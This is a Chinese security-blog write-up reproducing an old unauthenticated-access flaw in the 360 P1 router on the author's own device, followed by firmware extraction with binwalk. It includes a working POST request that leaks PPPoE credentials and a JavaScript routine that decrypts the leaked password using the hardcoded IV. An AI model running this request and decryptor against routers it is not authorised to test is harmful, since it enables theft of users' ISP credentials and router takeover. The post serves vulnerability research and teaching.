360路由器P1未授权访问漏洞复现

admin 2024年10月8日14:05:41评论41 views字数 2771阅读9分14秒阅读模式
暗魂攻防实验室

前言

闲来无事,6点多起来打扫房间时发现之前在闲鱼买的古老的360路由器P1,想着能不能getshell,只不过在网上只找到了未授权访问漏洞,所以先复现一下。360安全路由P1存在未授权访问漏洞(可读取密码),不过这是很古老的漏洞了,需要刷回最老的固件才存在此漏洞,乌云漏洞编号:wooyun-2015-0143408。固件下载地址:http://luyou.dl.qihucdn.com/luyou/360POP-P1-V0.7.0.18.bin

这一系列cgi不需要登录即可访问

javascript/router/wan_config_show.cgi,javascript/router/wan_config_set.cgi,javascript/router/log_get.cgi其中:javascript/router/wan_config_show.cgi通过post可直接获取上网设置信息,包括ppoe用户名和密码。javascript/router/wan_config_set.cgi提交post可以直接设置各种东西

漏洞复现

POST /javascript/router/wan_config_show.cgi HTTP/1.1Host: 192.168.0.1Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: Qihoo_360_login=3a1cca690f360155cc7099d537513719Connection: closeContent-Length: 11uiname=WAN1

360路由器P1未授权访问漏洞复现

通过POST提交参数,可以找到PPPOE的账号密码,账号是admin,密码是进行加密,密码的解密函数就是new_lib.js脚本中的函数getDAesString()

解密脚本:

function getDAesString(str, keys) {  var ciphertext = str.substr(32, str.length - 32);  var lengthKeyObj = {};   if (keys) {      lengthKeyObj.rand_key = keys;  } else {      lengthKeyObj = get_rand_key(0, str, true);  }   if (!lengthKeyObj.rand_key) {      return str;  }  var key = CryptoJS.enc.Hex.parse(lengthKeyObj.rand_key);  var iv = CryptoJS.enc.Latin1.parse("360luyou@install");  var str16T64 = CryptoJS.enc.Hex.parse(ciphertext).toString(CryptoJS.enc.Base64);  var decrypted = CryptoJS.AES.decrypt(str16T64, key, {      iv: iv,      mode: CryptoJS.mode.CBC,      padding: CryptoJS.pad.Pkcs7  });  return decrypted.toString(CryptoJS.enc.Utf8);}function test() {  var uiname = $("#common_uiname").val();   $.post("javascript/router/wan_config_show.cgi", { uiname: 'WAN1' }, function (data) {      var data = dataDeal(data);      wan_setup_data = data;       if (data && data.COMMON && data.COMMON.connect_type && data.PPPOE) {          wan_setup_data.PPPOE.pass = getDAesString(wan_setup_data.PPPOE.pass);      }      alert(wan_setup_data.PPPOE.pass);  });}

直接在浏览器F12控制台中输入解密脚本,然后通过test()调用,即可解密PPPOE的密码为1234567

360路由器P1未授权访问漏洞复现

固件提取

在IOTsec-Zone论坛上找到了固件提取的文章,进而可以进行代码审计。这里就尝试一下。

首先工具需要:firmware-mod-kit或者binwalkbinwalk是kali自带(最新版kali是需要下载的)

firmware-mod-kit工具的功能和binwalk工具的类似,其实firmware-mod-kit工具在功能上有调用binwalk工具提供的功能以及其他的固件解包工具的整合

firmware-mod-kit工具安装(我记得kali好像已经有了):

apt-get install git build-essential zlib1g-dev liblzma-dev python3-magicgit clone https://github.com/mirror/firmware-mod-kit.gitcd firmware-mod-kit/src./configure && make

固件提取:

binwalk -Me 360POP-P1-V0.7.0.18.bin --run-as=root

360路由器P1未授权访问漏洞复现

360路由器P1未授权访问漏洞复现

提取出来的文件名是_360POP-P1-V0.7.0.18.bin.extracted,效果是:

360路由器P1未授权访问漏洞复现

代码是在squashfs-root文件夹上,里面的web就是路由器后台管理的界面代码啦,可以进行代码审计等等

360路由器P1未授权访问漏洞复现

不过binwalk好像已经是提取出来了,如果是其他路由器,binwalk出来只有16D842.squashfs这种格式的文件,所以还需要进一步的用unsquashfs进行提取

unsquashfs 16D842.squashfs

360路由器P1未授权访问漏洞复现

提取的效果也就是上面的squashfs-root文件夹

360路由器P1未授权访问漏洞复现

只有一个80端口开了,没有啥洞进入底层shell呢。。。。

360路由器P1未授权访问漏洞复现

原文始发于微信公众号(暗魂攻防实验室):【漏洞复现】360路由器P1未授权访问漏洞复现

 

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月8日14:05:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   360路由器P1未授权访问漏洞复现https://cn-sec.com/archives/1937898.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息